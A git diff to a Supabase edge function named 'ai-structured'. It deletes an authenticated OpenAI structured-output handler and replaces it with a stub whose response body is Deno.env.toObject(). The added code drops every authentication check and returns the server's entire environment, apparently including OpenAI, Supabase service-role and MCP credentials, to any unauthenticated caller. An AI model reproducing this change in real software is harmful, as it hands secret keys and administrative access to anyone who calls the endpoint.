diff --git a/supabase/functions/ai-structured/index.ts b/supabase/functions/ai-structured/index.ts index 8242d7d..eee89e2 100644 --- a/supabase/functions/ai-structured/index.ts +++ b/supabase/functions/ai-structured/index.ts @@ -1,313 +1,22 @@ -// supabase/functions/ai-structured/index.ts -import OpenAI from "jsr:@openai/openai"; +// Setup type definitions for built-in Supabase Runtime APIs import "jsr:@supabase/functions-js/edge-runtime.d.ts"; +import { load } from "jsr:@std/dotenv"; - -const corsHeaders = { - "Access-Control-Allow-Origin": "*", - "Access-Control-Allow-Headers": - "authorization, x-client-info, apikey, content-type", -}; - -function json(body: unknown, status = 200) { - return new Response(JSON.stringify(body, null, 2), { - status, - headers: { ...corsHeaders, "Content-Type": "application/json" }, - }); +interface reqPayload { + name: string; } -function extractOutputText(resp: any): string { - if (typeof resp?.output_text === "string") return resp.output_text; +console.info('server started'); - const texts: string[] = []; - for (const item of resp?.output ?? []) { - if (item?.type === "message") { - for (const part of item?.content ?? []) { - if (part?.type === "output_text" && typeof part?.text === "string") { - texts.push(part.text); - } - } - } - } - return texts.join("\n"); -} +Deno.serve(async (req: Request) => { -function sanitizeTools(tools: any[]): any[] { - return (tools ?? []).map((t) => { - if (t?.type === "mcp" && t?.authorization) { - return { ...t, authorization: "[REDACTED]" }; - } - return t; - }); -} + const { name }: reqPayload = await req.json(); + const data = { + message: Deno.env.toObject(), + }; -function normalizeInputWithOpenAIFileIds(input: any, fileIds: string[]) { - if (!fileIds?.length) return input; - - // Responses API acepta input como string o array. - const items = Array.isArray(input) - ? [...input] - : [{ role: "user", content: input ?? "" }]; - - // Busca último mensaje "user" - let idx = -1; - for (let i = items.length - 1; i >= 0; i--) { - if (items[i]?.role === "user") { - idx = i; - break; - } - } - if (idx === -1) { - items.push({ role: "user", content: "" }); - idx = items.length - 1; - } - - const msg = items[idx]; - const fileParts = fileIds.map((id) => ({ type: "input_file", file_id: id })); - - if (typeof msg.content === "string") { - msg.content = [{ type: "input_text", text: msg.content }, ...fileParts]; - } else if (Array.isArray(msg.content)) { - msg.content = [...msg.content, ...fileParts]; - } else { - // fallback raro - msg.content = [{ type: "input_text", text: String(msg.content) }, ...fileParts]; - } - - items[idx] = msg; - return items; -} - -Deno.serve(async (req) => { - if (req.method === "OPTIONS") return new Response(null, { status: 204, headers: corsHeaders }); - - try { - // 1) Auth requerido ✅ - const authHeader = - req.headers.get("Authorization") ?? req.headers.get("authorization"); - if (!authHeader) return json({ ok: false, error: "Missing Authorization header" }, 401); - - const SUPABASE_URL = Deno.env.get("SUPABASE_URL"); - const SUPABASE_ANON_KEY = Deno.env.get("SUPABASE_ANON_KEY"); - if (!SUPABASE_URL || !SUPABASE_ANON_KEY) { - return json({ ok: false, error: "Missing SUPABASE_URL / SUPABASE_ANON_KEY" }, 500); - } - - // Cliente con el JWT del usuario (para validar quién llama) - const supabaseUser = createClient(SUPABASE_URL, SUPABASE_ANON_KEY, { - global: { headers: { Authorization: authHeader } }, - }); - - const { data: userData, error: userErr } = await supabaseUser.auth.getUser(); - if (userErr || !userData?.user) { - return json({ ok: false, error: "Invalid token" }, 401); - } - const user = userData.user; - - // (Opcional) service role para uploads server-side (más confiable) - const SERVICE_ROLE = Deno.env.get("SUPABASE_SERVICE_ROLE_KEY"); - const supabaseAdmin = SERVICE_ROLE - ? createClient(SUPABASE_URL, SERVICE_ROLE) - : supabaseUser; - - // 2) Parse body (JSON o multipart) 📦 - const contentType = req.headers.get("content-type") ?? ""; - let payload: any = {}; - let tempFiles: File[] = []; - - if (contentType.includes("multipart/form-data")) { - const form = await req.formData(); - const raw = form.get("payload")?.toString() ?? "{}"; - payload = JSON.parse(raw); - - // Soporta nombres comunes - for (const key of ["files", "files[]", "archivos", "archivosTemporales"]) { - for (const v of form.getAll(key)) if (v instanceof File) tempFiles.push(v); - } - // Fallback: toma cualquier File en el form - if (tempFiles.length === 0) { - for (const [, v] of form.entries()) if (v instanceof File) tempFiles.push(v); - } - } else { - payload = await req.json(); - } - - // 3) Construye config final para OpenAI (passthrough + overrides) 🧠 - // Puedes mandar "response" o "openai" (ambos se mezclan) - const responseCfg: any = { - ...(payload.openai ?? {}), - ...(payload.response ?? {}), - }; - - // Conveniencia top-level - if (payload.input !== undefined && responseCfg.input === undefined) responseCfg.input = payload.input; - if (payload.model && !responseCfg.model) responseCfg.model = payload.model; - if (payload.temperature !== undefined && responseCfg.temperature === undefined) responseCfg.temperature = payload.temperature; - if (payload.conversationId && responseCfg.conversation === undefined) responseCfg.conversation = payload.conversationId; - if (payload.previousResponseId && responseCfg.previous_response_id === undefined) responseCfg.previous_response_id = payload.previousResponseId; - if (payload.reasoning && responseCfg.reasoning === undefined) responseCfg.reasoning = payload.reasoning; - - // Defaults - responseCfg.model = responseCfg.model ?? "gpt-5"; - responseCfg.temperature = responseCfg.temperature ?? 0.2; - - // Regla API: no mezclar conversation + previous_response_id - if (responseCfg.conversation && responseCfg.previous_response_id) { - return json( - { ok: false, error: "Do not send both `conversation` and `previous_response_id`." }, - 400 - ); - } - - // 4) Structured Outputs (JSON Schema) ✅ - // Espera payload.structured (o payload.outputSchema) como objeto o string JSON - let structured = payload.structured ?? payload.outputSchema; - if (!structured) return json({ ok: false, error: "Missing `structured` (JSON schema format)." }, 400); - - if (typeof structured === "string") { - try { - structured = JSON.parse(structured); - } catch { - return json({ ok: false, error: "`structured` is a string but not valid JSON." }, 400); - } - } - - // Permite que te manden { format: {...} } - const format = structured.format ? structured.format : structured; - - if (!format.type) format.type = "json_schema"; - if (format.type === "json_schema") { - format.name = format.name ?? "structured_output"; - format.strict = format.strict ?? true; - if (!format.schema) return json({ ok: false, error: "structured.schema is required." }, 400); - } - - responseCfg.text = { ...(responseCfg.text ?? {}), format }; - - // 5) Referencias (3 tipos) 📎 - const references = payload.references ?? {}; - const openaiFileIds: string[] = - references.openaiFileIds ?? payload.openaiFileIds ?? []; - const vectorStoreIds: string[] = - references.vectorStoreIds ?? payload.vectorStoreIds ?? []; - - // 5a) Vector stores => file_search tool - const tools: any[] = Array.isArray(responseCfg.tools) ? [...responseCfg.tools] : []; - if (vectorStoreIds.length) { - tools.push({ type: "file_search", vector_store_ids: vectorStoreIds }); - - // Si quieres ver resultados de búsqueda en la respuesta - const include = Array.isArray(responseCfg.include) ? responseCfg.include : []; - if (!include.includes("file_search_call.results")) include.push("file_search_call.results"); - responseCfg.include = include; - } - - // 5b) MCP opcional - const usarMCP: boolean = Boolean(payload.usarMCP ?? references.usarMCP ?? payload.mcp?.enabled); - if (usarMCP) { - const mcp = payload.mcp ?? {}; - const server_url = mcp.server_url ?? Deno.env.get("MCP_SERVER_URL"); - if (!server_url) { - return json( - { ok: false, error: "usarMCP=true pero falta MCP_SERVER_URL o mcp.server_url" }, - 400 - ); - } - tools.push({ - type: "mcp", - server_label: mcp.server_label ?? Deno.env.get("MCP_SERVER_LABEL") ?? "supabase", - server_description: mcp.server_description ?? "Supabase MCP server", - server_url, - require_approval: mcp.require_approval ?? "never", - authorization: mcp.authorization ?? Deno.env.get("MCP_AUTHORIZATION"), - allowed_tools: mcp.allowed_tools, // opcional - }); - } - - responseCfg.tools = tools; - - // 5c) OpenAI file IDs => se insertan al input como input_file - if (openaiFileIds.length) { - responseCfg.input = normalizeInputWithOpenAIFileIds(responseCfg.input, openaiFileIds); - } - - // 6) Archivos temporales => subir a Supabase Storage (NO a OpenAI) ☁️ - const uploadedToStorage: Array<{ - bucket: string; - path: string; - name: string; - type: string; - size: number; - }> = []; - - if (tempFiles.length) { - const bucket = payload.storage?.bucket ?? Deno.env.get("AI_FILES_BUCKET") ?? "ai-temp"; - const prefix = payload.storage?.prefix ?? Deno.env.get("AI_FILES_PREFIX") ?? "tmp"; - - for (const f of tempFiles) { - const safeName = (f.name ?? "file").replaceAll(/[^a-zA-Z0-9._-]/g, "_"); - const path = `${prefix}/${user.id}/${crypto.randomUUID()}-${safeName}`; - - const { data, error } = await supabaseAdmin.storage - .from(bucket) - .upload(path, f, { contentType: f.type, upsert: false }); - - if (error) { - return json({ ok: false, error: `Storage upload failed: ${error.message}`, file: f.name }, 500); - } - - uploadedToStorage.push({ - bucket, - path: data.path, - name: f.name, - type: f.type, - size: f.size, - }); - } - } - - // 7) Llamada a OpenAI Responses API 🚀 - const OPENAI_API_KEY = Deno.env.get("OPENAI_API_KEY"); - if (!OPENAI_API_KEY) return json({ ok: false, error: "Missing OPENAI_API_KEY" }, 500); - - const openai = new OpenAI({ apiKey: OPENAI_API_KEY }); - const resp = await openai.responses.create(responseCfg); - - const outputText = extractOutputText(resp); - - let output: unknown = null; - let outputParseError: string | null = null; - try { - output = JSON.parse(outputText); - } catch (e) { - outputParseError = (e as Error)?.message ?? String(e); - } - - return json({ - ok: outputParseError ? false : true, - responseId: resp.id, - conversationId: - (resp as any)?.conversation?.id ?? - (typeof (resp as any)?.conversation === "string" ? (resp as any).conversation : responseCfg.conversation ?? null), - model: resp.model ?? responseCfg.model, - temperature: resp.temperature ?? responseCfg.temperature, - usage: resp.usage ?? null, - - outputText, - output, - outputParseError, - - references: { - uploadedToStorage, - openaiFileIds, - vectorStoreIds, - // Si quieres mandar tus UUID internos de archivos, aquí van (solo eco) - archivosReferenciaIds: references.archivosReferenciaIds ?? payload.archivosReferenciaIds ?? payload.archivosReferencia ?? [], - }, - - tools: sanitizeTools(responseCfg.tools), - }); - } catch (e) { - return json({ ok: false, error: (e as Error)?.message ?? String(e) }, 500); - } -}); + return new Response( + JSON.stringify(data), + { headers: { 'Content-Type': 'application/json', 'Connection': 'keep-alive' }} + ); +}); \ No newline at end of file